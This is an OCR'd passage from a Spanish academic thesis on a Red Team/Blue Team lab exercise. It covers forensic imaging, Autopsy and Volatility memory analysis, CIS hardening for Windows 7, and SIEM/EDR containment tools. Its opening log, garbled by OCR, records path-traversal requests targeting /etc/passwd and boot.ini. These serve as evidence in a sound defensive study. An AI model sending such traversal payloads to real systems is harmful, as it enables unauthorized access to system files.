F 08:32:35 p.m_ 192 168 90 443314 Requested GET /2cb=test -
08:32:35 p.m. 192 163 80 443334 Requested GET /Zjsonp=test
Drag your files here| 08:32:35 p.m_ 192 163 90 4 43854 Requested GET /jsonpcallback=test
08:32-35 p.m. 192,163 90 443965 Req £T tpl=li

pl
08:32:35 p.m. 192.168.90.4:43976 Requested GET /?jcb=test

08:32:35 p.m. 192.168.90.4:43990 Requested GET /?mode=jquery

08:32:36 p.m. 192.168.90.4:44002 Requested GET /?call=test

08:32:37 p.m. 192.168.90.4:44128 Requested GET /

08:32:41 p.m. 192.168.90.4:44458 Requested GET /2tpl

08:32.41 p.m. 192.168.90.4:44474 Requested GET /?mode=jquery

08:32:42 p.m. 192.168.90.4:44510 Requested GET /?id=//etc/passwd08:32:42 p.m. 192 168.90.4:44526 Requested GET /?id=/fetc/passwd

]

08:32:42 pm 192 168 90 4:44544 Requested GET /?id=_/ /. /. [ [ [ [ ] [ Jetc/passwd08:32:42 pm 192 168 90 444556 Requested GET f?id=_J / /. /. J | ] [ | letcipasswd
08:32:42 p.m. 192.168.90.4:44566 Requested GET /?id=_/.././_[.[.[.[ [ [ [boot.ini0832:42 p.m. 192.168.90.4:44582 Requested GET /?id: /441111 fboot.ini
08:32:43 p.m. 192.168.90.4:4459 Requested GET /7 \.\.\boot.ini08:32:43 p.m. 192.168.90.4.44604 Requested GET /7id=.. boot.ni
08:32:43 p.m. 192.168.90.4:44616 Requested GET /7 I...fetc/passwd08:32:43 p.m. 182.166.90.4:44630 Requested GET /7id= 1. letc/passw
08:32:43 p.m. 192.168.90.4:44646 Requested GET /7 V..V VetcVpasswd08:32:43 p.m. 182.168.90.4:44660 Requested GE
08:32:44 p.m. 192.168.90.4:44676 Requested GET /7 \etc\passwd0B:32:44 p.m. 192.168.90.4.44692 Requested GET /7i
08:32:44 p.m. 192.168.90.4:44710 Requested GET /7 Moot ini0:32:44 p.m. 192.168.90.4.44724 Requested GET /7id=..
08:32:44 p.m_ 192168 90 4:44744 Requested GET /%id=A A /AAJAAJA A IAA Jboot ini08:32:44 p.m. 192.163.90 444762 Requested GET /%id=A AJA A
08:32.45 p.m. 192.168.90.4:44776 Requested GET /2id=A A /A.A /A AJA A fboot ini05-32 45 p.m. 192.168.00.4.44792 Requested GET /2id=A A /AAJAA
08:32:45 p.m. 192.168.90.4:44808 Requested GET /2id=\\..../.././boot.ini%

08:32.45 p.m. 192.168.90.4:44824 Requested GET /2id=\\.../_._boot ini%

08:32:45 p.m. 192.168.90.4:44840 Requested GET /2id=index.htmi?./../_/../. fooot ini03: 3245 p.m. 192.168.90 4 44850 Requested GET /

08:32:45 pm 192 168 90 4:44854 Requested GET /?id=index html? / /. / / [boot ini

08:32:46 p.m_192 168 90 4:44870 Reauested GET /?id=index html? 1\ \ 1\ \ \boot.ini08:32:-46 o m 192 168 90 4:44880 Reauested GET /?id=index html? \ \ \ \ ‘boot ini '
« w '

Fuente: propia
4.4.3 Analisis de informacion no volatil.

El objetivo es crear una imagen bit a bit del disco duro de la maquina objetivo
con sobre la cual realizar los andlisis sin afectar en lo absoluto la informacion
que reposa en el disco, para esto se hace uso del aplicativo FTK Imager. Como
lo menciona accessdata®? en su web oficial FTK® Imager es una herramienta
de obtencién de imagenes y vista previa de datos que le permite evaluar
rapidamente la evidencia electrénica para determinar si se justifica un analisis

32 Accessdata, forensic-toolkit-ftk —ftkimager, [Sitio web]. Accessdata, 2020 [Consultado 2021
Mar 5]. Disponible en https://accessdata.com/product-download/ftk-imager-version-4-2-1
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adicional con una herramienta forense como AccessData® Forensic Toolkit®
(FTK). FTK Imager también puede crear copias perfectas (imagenes forenses)
de datos informaticos sin realizar cambios en la evidencia original.

Para realizar la imagen del disco y luego de descargar e instalar el aplicativo
FTK, en la opcion file>Create Disk Image, se despliega la ventana vista en la
préxima imagen, sobre la cual se selecciona Physical Drive

llustracion 30 Seleccion tipo de evidencia y disco

Select Drive X

Please Select the Source Evidence Type

@ Physical Di Source Drive Selection
ysical Drive

Please select from the following available drives:
“WAPHYSICALDRIVED - VMware, VMware Vitual 5 SCS1 Disk D~

O Logical Drive
) Image File

() Contents of a Folder

fogical fileevel analysis only; excludes deleted, unallocated. stc )

() Femico Device {muttiple CD/DVD)

Siguiente > Cancel Help < Atras Cancel Help
Fuente: propia

Paso siguiente a la eleccion del disco al cual realizar copia bit a bit, se
selecciona el tipo de imagen a generar, en esta ocasion Raw33 con extension
.dd, como se observa en la siguiente imagen para el posterior analisis con otra
herramienta forense.

llustracién 31 Seleccion tipo de imagen destino

Select Image Type ke
Creating Image... e = =)
Please Select the Destination Image Type
Image Source:  \\.\PHYSICALDRIVEQ
®Raw (@) Destination: D:\Imagen disco\jmagen_seminario
(O sMART Status: Creating image...
[@]=i]! Progress
OarrF
Elapsed time: 0:39:18
Estimated time left:
: = =

Fuente: propia

33 Boddington R. Practical Digital Forensics [Sitio web]. Birmingham, UK: Packt Publishing;
2016 [Consultado 12 septiembre 2021]. (Community Experience Distilled). Disponible en
https://search-ebscohost-

com.bibliotecavirtual.unad.edu.co/login.aspx?direct=true &db=e000xww&AN=1242578&lang=
es&site=ehost-live
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Como resultado la imagen generada sera una copia exacta del disco principal
del sistema y su respectiva suma de comprobacion como se representa en la
siguiente imagen para soportar que ambos contienen la misma informacion.

llustracion 32 Verificacion imagen realizada.

| Drive/Image Verify Results = =R

=]
Name
Sector count

El MDS5 Hash
Computed hash
Report Hash
Verify result

B SHA1 Hash
Computed hash
Report Hash
Verify result

B Bad Blocks List
Bad block(s) in image

Close

Fuente: propia

Posterior a la toma de la imagen, se requiere iniciar con el analisis forense en
basqueda de informacion relevante, para lo cual se hace uso del aplicativo
AUTOPSY, como lo indican en su pagina web3* es la una de las principales
plataformas forense digital de cédigo abierto de extremo a extremo. Creado
por Basis Technology con las caracteristicas principales que espera de las
herramientas forenses comerciales, Autopsy es una solucion de investigacion
de disco duro-rapida, completa y eficiente que evoluciona con sus
necesidades. Para lo que se crea un nuevo caso, con los datos de asignados
para el caso, posteriormente se selecciona como se puede observar en la
imagen, la copia generada del disco en el punto anterior.

llustracion 33 Seleccién datos a analizar Autopsy

cﬂ Add Data Source

Steps Select Data Source

1. Select Type of Data Source To Path:
Add

2. Select Data Source £:\Imagen_disco_c.001
3. Configure Ingest Modules i
4. Add Data Source [ fanare

Browse

Time zone:  (GMT+1:00) Europe Paris

Sector size: | Auto Detect

Fuente: propia

34 Sleuthki, Autopsy User's Guide, [Internet]. Sleuthki, [Consultado 2021 Mar 5]. 2018
disponible en

http://sleuthkit.org/autopsy/docs/user-docs/4.18.0/
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Paso siguiente, se selecciona que dicho analisis se desarrolle sobre todo los

archivos y directorios con el objetivo de hallar informacién relaciona con

caracteristicas evidenciadas en la siguiente imagen.

llustracion 34 Informacion Autopsy

o‘ Add Data Source

Steps

Confi

Ingest Modules

1. Select Type of Data Source To
Add

2. Select Data Source

3. Configure Ingest Modules

4. Add Data Source

Fuente: propia

Run ingest modules on:

CIN T -
Hash Lookup

File Type Identification

Extension Mismatch Detector

Embedded File Extractor

]

Picture Analyzer
Keyword Search

Email Parser

Encryption Detection
Interesting Files Identifier

Central Repository
PhotoRec Carver
Virtual Machine Extractor
Data Source Integrity
Select Al Deselect Al History

The selected module has no per-run settings.

Extracts recent user activity, such as Web browsing, recently us...

Global Settings

las

Como resultado del analisis realizado por el aplicativo se pueden evidenciar
entre otras multiples opciones, los archivos borrados en el sistema, en la
siguiente imagen se presentan las cookies de navegacion de los navegadores,
documentos recientemente utilizados, historial de navegacion, programas
ejecutados entre otros.

llustracion 35 Resultado Autopsy

M Seminario 1 - Autopsy 4.19.1
Case View Tools Window Help

-—
Add Data Source ﬁlmages/\ﬂdeﬂs {1 Communicatons 9 Geolocation =, Tmeine | Discovery | GenerateReport | g Clos= Case %

<«

G| File Views
£, File Types
£ By Extension
- 1mages (2797)
Videos (158)
Audio (644
Archives (3)
i Databases (48)
[ &, Documents
£, Executable

. By MIME Type
y Deleted Files
MB File Size
B Dats Artifacts

%4 Installed Programs (57)
~</> Metadata (5)

=& Operating System Information (4)
Recent Documents (5)
shell Bags (61)
USEB Device Attached (5)
Web Bookmarks (22)
Web Cookies (31)
Web Downloads (3)
Web Form Autofil (7)
T Web History (1837)
@ Web Search (1)
G Analysis Results

Fuente: propia

&
R
-

L}

e ND ae

€3 [ st

B o - kemordiss

=R =

Qy Keyword Search

N

Recent Documents

“ | Table | Thumbnai

5 Resuls

Date Accessed

m,

&) NTUSER.DAT Cilindowsisystemazif. mse

Source File s c o Path
! Documentos.ink [N ind
& log.Ink €\UsersiususrisDocumentsilog bt

| B assis | L] LCarisumioomionior
& NTUSER.DAT Ciiwindowsisystem3zZ\eventvwr.msc

Lib. .. 2021-10-05 07:45:12 COT
2021-10-05 07:45:12 COT

Data Source

imagen_seminario. 001

imagen_seminario.001

eminario. 001

imagen_seminario. 001

imagen_seminario.001

Save Table as CSV

Comment

Recently opened according to tindo

Recerthy opensd according to indo

<[

L,

Hex | Text | | Source File Metadata | Data Artifacts | Annotations | Gther Occurrences
Result: 1 of 1 Result Recent Documents
Type Value Source(s)
Path |2 Wsers\usuario\Pownloads Refieto_123456.2p |Recentactvity | »
Path ID |15428 |Recentactvity ‘|z|
~ Ipate Accessed  |202109-22 20:22:47 cOT [recentactviy |-
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4.4 4 Analisis de la memoria volatil.

Copia de memoria RAM, por medio de la misma herramienta FTK, se procede
a generar una copia total de la memoria RAM, con el objetivo de analizarla el
analisis de la memoria volatil del sistema, como se observa en la siguiente
imagen la copia es generada para la totalidad de las 2Gb de memoria, este
proceso en ocasiones es dispendioso en la medida que los tamarfios asignados
a memoria RAM en los servidores cada dia son mayores y este tipo de copia
es total.

llustracion 36 Generacion archivo memdump

Memory Progress

Destination: C:\Users'usuario\Documentsymemdump. mem

Status: Dumping RAM: 1GBf2GE [53%]

-_— w

Cancel

Fuente: propia

Se realiza andlisis de los datos registrados por medio del aplicativo Volatility,
los desarrolladores de volatility fundation® indican que permite analizar el
estado de tiempo de ejecucion de un sistema utilizando los datos que se
encuentran en el almacenamiento volatil (RAM).

e El primer analisis se realiza por medio del comendo volpy --
profile=Win7SP1x64 -f memdump.mem netscan, con el objetivo de
identificar cuales son las conexiones de red identificadas, en la
siguiente imagen se resaltan la conexién desde la direccion IP
192.168.90.6 a direccién IP 192.168.90.4, la cual se observé en pasos
anteriores como la direccién IP con una gran cantidad de intento de
peticiones, esta conexion esté relacionada al proceso ID 3896. El puerto
4444 es el que utiliza metasploit por defecto para las conexiones y por
lo tanto seria desde donde se generd el compromiso a la maquina.

llustracion 37 Volatility netscan

up| -

Fuente: propia

35 Volatility Foundation, About | Volatility Foundation, [Consultada 01 Octubre 2021]. 2019
Disponible en https://www.volatilityfoundation.org/about.
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El siguiente andlisis realizado por medio del comenado vol.py --
profile=Win7SP1x64 -f memdump.mem pstree, permite identificar los
procesos en un arbol que tienen relacion a la conexion identificada en
el punto anterior, en la siguiente imagen se pude observar que dicho
proceso es creado bajo varios ID. Que su ves parten del proceso padre
ID 408.

Fuente: propia

Como siguiente paso se realiza el andlisis de los DLL asociados a los
diferentes procesos resaltados en el punto anterior, con el objetivo de
identificar comportamientos sospechosos, en la siguiente imagen para
el proceso padres ID 408 se evidencian varios llamados a DLL del
sistema y una linea de comando sin relacion alguna ubicacion legitima
dentro del sistema. ElI comando utilizado es volpy --
profile=Win7SP1x64 -f memdump.mem dlllist

IIustrcic’) 39 Volatility dlllist PID 408

Fuente: propia

El siguiente procedo relacionado es el 3896, de igual manera tiene
relacion con DLL del sistema, los procesos asociados presentan un
comportamiento sospechoso, los cuales tienen relacion a la actividad
asociada a la direccion IP 192.168.90.4.
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llustracion 40 Volatility dlllist PID 3896
d: EEEE )

Fuente: propia

4.45 Medidas de endurecimiento propuestas.

El endurecimiento o Harding son medidas de seguridad aplicadas sobre los
equipos de tecnologia con el objetivo de reducir la superficie de vulnerabilidad,
generando dificultades a los ciberdelincuentes. Por lo tanto, con la
implementacion correcta sobre los sistemas se redice el riego en los siguientes
puntos:

Equipos con Software desactualizado.

Permanencia de usuarios inactivos sobre los sistemas de manera
innecesaria.

Inicios de sesion innecesarios.

Politicas para desactivar servicios sobre los sistemas que no son
requeridos, pero que si pueden servir como plataforma de entrada para
un ciberdelincuente.

Para el caso de estudio las medias que se proponen son las siguiente, con el
objetivo de disminuir las probabilidades de presencia de un nuevo
compromiso.

Activacion de Firewall nativo de Windows y creacion de regla que evite
el trafico entre el equipo afectado a la direccion IP 192.168.90.4. Esta
medida permite controlar el trafico permitido.

Instalacion de una solucion antivirus o EDR, se debe tener como criterio
de seleccion la posibilidad de generar inspeccién sobre los procesos en
ejecucion, esto con el objetivo de obtener detecciones en funcion del
comportamiento de dichos procesos, adicionalmente a las inspecciones
por firmas.

En el siguiente punto se mencionan particularmente medidas de
hardening y buenas practicas partiendo del CIS benchmark, especiales
para el sistema operativo particular del caso de estudio Windows 7.
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4.4.6 Utilizacion CIS “Center For Internet Security”

Como una iniciativa sin &nimo de lucro CIS Centro de seguridad para internet
es responsable de dos programas, CIS Control y CIS Benchmark, los cuales
tienen como objetivo proteger los sistemas y datos de TI, con el objetivo de
proteger los sistemas de manera proactiva. Como lo presentan en su pagina
web CIS3¢, su misién es la validacion y promocion de buenas préacticas que
pueden ayudar a proteger tanto a empresas, personas como gobiernos en
contra de las amenazas cibernéticas avanzadas.

Por lo anterior, como guia para una correcta configuracion de los sistemas de
informacion las guias de CIS Benchmark pueden ser consideradas para
aumentar la seguridad y resiliencia de los sistemas frente a ataques
informaticos. Para el caso de estudio particular, los siguientes son los aspectos
relevantes para tener en cuenta en la correcta configuracion del sistema
operativo y version dados por CIS®*/, en el documento Security Configuration
Benchmark For Microsoft Windows 7.

e Apartado de recomendaciones para cuentas, Son buenas practicas
para la administracion de las cuentas de usuarios del sistema, control
en las contrasefias y su historial, para evitar que al momento de
cambiarlas se repita en comparacion a las 24 anteriores. Las
contrasefias del sistema deben cambiarse como maximo en 90 dias,
con una definicibn de minimo 8 caracteres entre mayusculas,
mindsculas, numero y caracteres especiales. Adicionalmente, se
pueden tener en cuenta bloqueos de usuarios al presentar intentos
fallidos.

e Auditoria de politicas, Dentro de este apartado la idea es configurar
politicas de auditoria detallada sobre el sistema Windows 7, con el
objetivo de validar los eventos que ocurren sobre el sistema, entre ellos
la creacion de cuentas de usuarios como las presentes en el caso de
estudio. Entre los eventos recomendados para auditar estan; eventos
de inicio de sesién de la cuenta, gestion de cuentas de auditoria, acceso
al servicio de directorio, acceso a objetos, auditar el uso de privilegios
e inicio de sesién y cierre de sesion: cierre de sesion.

e Log de eventos, Es posible configurar la accién que ejecuta el sistema
al alcanzar los tamafos en la cantidad de logs, la recomendacion es no
borrarlos, es de gran ayuda contar con sistemas de recoleccion

36 Center for Internet Security, About Us, [Consultada 01 octubre 2021].2020 disponible en
https://www.cisecurity.org/about-us/

87 The Center for Internet Security, ‘Security Configuration Benchmark ForMicrosoft Windows
7', [Consultada 01 Octubre 2021]. 2010 disponible en https://www.cisecurity.org/wp-
content/uploads/2017/04/CIS_Microsoft_Windows_7_Benchmark_v1.0.0.pdf
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externos como SIEM, su almacenada y analisis en un sistema externo
permite tener una disponibilidad e integridad mayor frente a un ataque
informatico.

e Firewall de Windows, Activar el firewall del equipo tanto en el dominio
publico, privado e invitado, asi como la notificacion al momento de
generar algun bloqueo.

e Actualizacion del sistema, el estado recomendado para esta
configuracion es activado automatico y notificacion cuando se
encuentren nuevas actualizaciones, para programar de manera
controlada el reinicio del sistema de ser necesario.

e Otras configuraciones recomendadas, control de cuentas de usuario,
comportamiento de la solicitud de elevacion para administradores en el
modo de aprobacion de administrador y cambiar la hora del sistema,
estos controles permiten identificar comportamiento de las cuentas de
usuarios aun cuando sean administradores y evita que el cambio de
hora del sistema afecte en la trazabilidad de los registros.

Los controles directamente sobre el sistema no evitaran que los servicios de
terceros que se instalen y presten alguna funcionalidad a los usuarios, como
es el caso del FTP sean directamente vulnerados, pero si evitaran que el
atacante pueda elevar privilegios dentro del sistema operativo, inclusive si
pasa esto, tener la posibilidad de realizar un andlisis de los registros, que lleven
a determinar los origenes del ataque, creacion de cuentas y cualquier otra
actividad postexplotacion.

4.47 SIEM caracteristicas y funciones.

Security information and event management (SIEM) es una herramienta que
permite la visualizacibn de manera completa sobre la seguridad de las
tecnologias de la informacion. Al tener la administracion y el control absoluto
sobre la seguridad informética es decir sobre los eventos que suceden
segundo a segundo permite un mayor nivel y probabilidad en la deteccién de
actividades maliciosas como violaciones de datos y ataques cibernéticos en
las organizaciones.

Los sistemas SIEM se entienden como la combinacion de dos disciplinas de
gestion de la informacion de seguridad como lo es SEM (gestion de eventos
de seguridad) que comprende los andlisis e informes en tiempo real y SIM
(gestién de informacion de seguridad) que administra y compila datos de
seguridad.

En la actualidad a este tipo de herramientas se le han adecuado una serie de

caracteristicas las cuales permiten la respuesta y a su vez la deteccién a las
crecientes demandas de amenazas agilizado la administracion de cargas de
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trabajo, generando informes y llevando métricas personalizadas conocidas
como las soluciones SIEM de proxima generacion o NGSIEM que incluyen:

Arquitectura de big data

Arquitectura abierta y escalable

Herramientas de visualizacion en tiempo real

Respuesta de seguridad, orquestacion y automatizacion (SOAR)
Andlisis de comportamiento de usuarios y entidades (UEBA)

Dentro de las funciones principales de las herramientas SIEM se destacan:
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Identificar amenazas internas

Deteccion de amenazas avanzadas
Descubrimiento de la exfiltracion de datos
Gestionar el cumplimiento de regulaciones
Supervision de seguridad en entornos IoT, ITy OT
Monitoreo de comportamiento

Mejor manejo del riesgo

Centralizacion de la informacion de seguridad
Deteccion de violaciones de seguridad
Automatizacion de tareas

Evaluacion de vulnerabilidades

Respuesta automatica a eventos y amenazas
Deteccién de activos

Disminucion del tiempo de deteccion de ataques
Alertas de seguridad eficientes

Manejo de métricas de seguridad

Andlisis y correlacion de logs en tiempo real

herramientas contencion ataques informaticos.

La contencion dentro de los pasos identificados en la respuesta frente a
incidentes de seguridad, como se menciona en el documento Guia para la
Gestion y Clasificacion de Incidentes de Seguridad de la Informacion del
MinTic38, esta etapa busca tomar las medidas necesarias que permita a las
organizaciones en presencia de un incidente de seguridad, evitar su
propagacion y que pueda generar mas dafios en informacion o arquitectura.
Por lo tanto, las estrategias de contencion varian en funcion del incidente
identificado, los criterios pueden estar relacionados entre otros a; dafos y

38 MinTic, Guia Para La Gestion y Clasificacién de Incidentes de Seguridad de La Informacién.,
[Consultada 01 octubre 2021].2020 disponible en https://mintic.gov.co/gestionti/615/articles-
5482_G21_Gestion_Incidentes.pdf
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hurto de algun activo, disponibilidad del servicio y necesidad de conservacion
de evidencias forenses.

Las siguientes son tres ejemplos de herramientas que pueden ser
consideradas en la etapa de contencidn en presencia de ataques informaticos.

EDR (Endpoint Detection Response), son herramientas de proteccion y
respuesta instaladas en los puntos finales, a diferencia de los sistemas
de antivirus convencionales, permiten tomar acciones partiendo de
reglas predeterminadas o inteligencia artificial para la contencion de las
amenazas identificas, en tiempo real evitando que generan mayor
impacto tanto para el equipo particular como para los otros en red.
Como lo menciona insibe®?, se puede considerar esas soluciones como
un avance de los antivirus tradicional o EPP (Endpoint Protection
Platform), por lo que pueden ser considerados en las estrategias de
ciberseguridad de las compafiias para brindar de un mayor control de
los equipos.

Ejemplo de este tipo de herramientas Kaspersky EDR, entre sus
caracteristicas destaca el descubrimiento y contencion rpida de
amenazas sofisticadas. “todo esto facilita la busqueda de amenazas
efectiva y la respuesta rapida a incidentes, lo que lleva a la limitacion y
prevencion de dafnos”™°,

SIEM con integracién de SOAR, entendiendo los sistemas de SIEM
como el centro de la recoleccion y analisis de mdltiples fuentes de
informacion, con el objetivo de modelar reglas de correlacion que
permitan identificar comportamientos anomalos sobre las redes
informaticos, la integracion correcta con soluciones de SOAR (Security
Orchestration, Automation and Response), ya sean nativas o de
terceros permite generar contencion y respuesta automatica frente a los
comportamientos previamente detectados. Es por lo tanto una
herramienta que permite generar integracion con otros sistemas de la
compafia y generar respuestas automaticas, en busqueda de reducir
los procesos rutinarios y disminuir el tiempo de contencién de ser
necesario implementarlo en varios puntos de la infraestructura.

%9Incibe, Sistemas EDR: Qué Son y Como Ayudan a Proteger La Seguridad de Tu Empresa |
INCIBE, [Consultada 01 octubre 2021].2020 disponible en https://www.incibe.es/protege-tu-
empresa/blog/sistemas-edr-son-y-ayudan-proteger-seguridad-tu-empresa

40 Kaspersky, ‘Kaspersky Endpoint Detection and Response (EDR) | Kaspersky’, [Consultada
01 octubre 2021]. disponible en https://latam.kaspersky.com/enterprise-security/endpoint-
detection-response-edr
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Un ejemplo de este tipo de soluciones es Siemplify, como lo mencionan
su portal web*!, permite la integracién con mas de 200 dispositivos,
permitiendo la creacion de procesos de contencion y respuesta
automética y repetible, adicionalmente ayudar en proceso adicionales
para llegue a la causa raiz de un incidente y generar operaciones de
seguridad impulsadas por inteligencia, entre otros.

Cisco FireSight*?, gestiona de forma centralizada seguridad de la red y
funciones operativas, que incluyen monitoreo de eventos, analisis,
priorizacién de incidentes e informes, para que pueda proteger mejor su
negocio. La informacién que puede provenir de diferentes sistemas del
ambiente de Cisco, como pueden ser router, Firewall, soluciones de
IPS, entre otras, permite tomar medidas dentro de las estrategias de
contencion previamente definidas y centrarse en evitar mayores
consecuencias en los incidentes de seguridad identificados.

4.5 ENLACE SUSTENTACION.

https://youtu.be/UJE6J1UUVKY

41 Siemplify, Dynamic, Customizable Playbooks - Siemplify, [Consultada 01 octubre 2021].
2020 disponible en https://www.siemplify.co/dynamic-customizable-playbooks/

42 Cisco, ‘Cisco FireSIGHT Management Center’, 2020 [Consultada 01 octubre 2021]. 2020
disponible en
https://lwww.cisco.com/c/dam/global/shared/assets/pdf/cisco_firesight management_center.p

df
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5 DISENO METODOLOGICO

El disefio metodoldgico utilizado para el ejercicio desarrollado en la presente
recopilacion documental es la ejecucion por medio de 5 fases, descritas a
continuacion:

Fase 1, Recopilacion y andlisis de informacion por medio de busqueda péaginas
web, documentos legales y libros electronicos de los marcos legales y éticos
gue aplican al ejercicio de los equipos de seguridad Red Team y Blue Team.

Fase 2, Recopilacion y analisis de informacion por medio de busqueda paginas
web y libros electrénicos de las caracteristicas principales de los equipos de
seguridad Red Team y Blue Team, con el objetivo de tener claridad en los
pasos a ejecutar en las siguientes fases, tomando los roles de cada uno de
dichos equipos.

Fase 3, Implementacién de ambiente simulado de maquina objetivo (Windows
7) y atacante (Kali Linix), sobre los cuales generar los procesos identificados
en la fase anterior.

Fase 4, Realizar ejercicio de intrusion desde la maquina atacante, generando
los pasos seguidos por los equipos de Red Team tanto en la identificacion
como en la explotacion de las vulnerabilidades encontradas en la maquina
objetivo y la generacién de informe con los hallazgos.

Fase 5, Realizar ejercicio de investigacion sobre la maquina objetivo,
generando los pasos seguidos por los equipos Blue Team en la identificacion
de actividades sospechosas, el informe con los hallazgos, la propuesta de
medidas de endurecimiento y herramientas que pueden ser tenidas en cuenta
para la contencion de este tipo de ataques.
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6 CONCLUSIONES

La identificacion de las tareas y metodologias utilizadas por parte de los
equipos de seguridad Blue Team y Red Team, fue de vital importancia para
comprender la contribucion en la mejora de las medidas de seguridad
adoptadas dentro de las organizaciones, debido a que trabajan en funcién de
escenarios lo mas reales posibles permiti6 poner a prueba las medidas ya
implementadas por parte de el equipo ofensivo, aprender, entrenar y proponer
mejoras por parte del equipo defensivo en pro de mejorar la postura de los
sistemas internos frente a ataques reales.

La habilidades que deben tener los integrantes de los dos equipos de
seguridad analizados son diferentes, aun cuando hacen parte de un proceso
de pruebas que busca fortalecer la postura de seguridad de la organizaciones,
las especialidades para los equipo ofensivos les permiten llevar al limite los
sistemas, encontrando vulnerabilidades y generando mecanismos que
permitan dar el insumo para que, el equipo de respuesta pueda analizar si
dentro de sus sistemas de recoleccion y analisis estos comportamiento se
visualizaron, categorizaron y atendieron, 0 Si s necesario generar ajustes
para fortalecer alguna area.

La gran cantidad de informacion generada por los dispositivos es uno de los
retos a los cuales se enfrente el equipo Blue Team, al tener una postura
defensiva es de vital importancia contar con equipo de recoleccion, analisis y
respuesta como son los SIEM, los cuales les ayuden en la automatizacion de
proceso repetitivos, generan alertas para que los analistas puedan identificar
si se trata de un comportamiento sospechoso, un falso positivo o requiere
realizar una nueva investigaciébn para iniciar el proceso nuevamente y
descartar cualquier compromiso.
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7 RECOMENDACIONES

El ejercicio realizado puede ser replicado de manera que se ajuste a las
necesidades de un entorno diferentes, en los cuales tanto las equipos,
servicios y medidas de proteccion se puedan ir ajustando, de esta manera los
equipo Red team puedan enfrentarse con otros sistemas, validando nuevos
vectores de ataque y los equipos Blue Team entrenarse en la respuesta frente
a diferentes escenarios, dando a conocer los puntos débiles de las compaifiias,
que a su vez puedan generar planes de mejora, su respectiva implementacion
y un nuevo ejercicio de pruebas ofensivas y de respuesta para validar su
eficiencia, que permite enmarcar estas acciones en un proceso de mejora
continua y fortalecimiento de la seguridad al interior de las organizaciones.

Es de suma importancia dejar claridad en un escenario real, las caracteristicas
y delimitaciones para cada una de las pruebas a realizar por parte del equipo
Red Team, esto con el objetivo de no extralimitarse y realizar actividades sobre
activos o procesos no autorizados, que puedan exponer informacién que
inicialmente no estaba contemplada o inclusive llegar a generar impactos
negativos en la disponibilidad de los servicios de la compafiia.

Debido a que la interaccion de los equipos de seguridad Red Team y Blue
Team no se limita solamente a activos de informacion sino también puede ser
ejecutado en procesos de las compafiias, seria interesante para trabajos
futuros dentro de una compafiia real, hacer uso de ingenieria social desde el
punto de vista de la ofensiva, como mecanismo para la obtencién de
informacion y acceso de ser posible a la compafiia, y como estas acciones
ayudan a mejorar los procesos desde el punto de vista de atencion de
respuesta por parte del equipo Blue Team.
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